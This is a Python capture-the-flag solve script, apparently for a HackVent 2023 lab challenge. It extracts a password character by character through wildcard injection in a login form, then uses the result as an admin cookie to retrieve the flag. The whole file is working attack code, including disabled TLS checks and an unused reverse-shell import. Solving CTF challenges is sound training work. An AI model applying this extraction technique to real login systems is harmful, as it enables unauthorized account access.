#!/usr/bin/env python

# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
# https://git.romanh.de/Roman/HackingScripts

import string
import os
import re
import sys
import json
import time
import base64
import requests
import subprocess
import urllib.parse
from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

BASE_URL = "https://a26e7e66-6235-404e-8c62-051b082e0082.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"
IP_ADDRESS = util.get_address()

def request(method, uri, **kwargs):
    if not uri.startswith("/") and uri != "":
        uri = "/" + uri

    client = requests
    if "session" in kwargs:
        client = kwargs["session"]
        del kwargs["session"]
    
    if "allow_redirects" not in kwargs:
        kwargs["allow_redirects"] = False
    
    if "verify" not in kwargs:
        kwargs["verify"] = False

    if "proxies" not in kwargs:
        kwargs["proxies"] = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

    return client.request(method, BASE_URL + uri, **kwargs)

def login(password):
    while True:
        # post payload is not URL decoded, so we can't use dictionary
        res = request("POST", "/login", data=f"password={password}")
        if "Successfully logged in" in res.text:
            return True
        elif "Invalid username or password!" in res.text:
            return False

def retrieve_flag(cookie):
    while True:
        res = request("GET", "/admin", cookies={"admin_token": cookie})
        util.assert_content_type(res, "text/html")
        if "You are not authorized to view this page." in res.text:
            return None
        else:
            match = re.search(r"Your flag is: (HV23\{.*\})", res.text)
            if match:
                return match[1]
        

if __name__ == "__main__":
    password = "salami"
    flag = retrieve_flag(password)
    while flag is None:
        found = False
        for x in string.printable:
            if x in ["*", "\\"]:
                continue

            if login(password + x + "*"):
                password += x
                found = True
                flag = retrieve_flag(password)
                break

        if not found:
            break

    print("[+] Flag:", flag)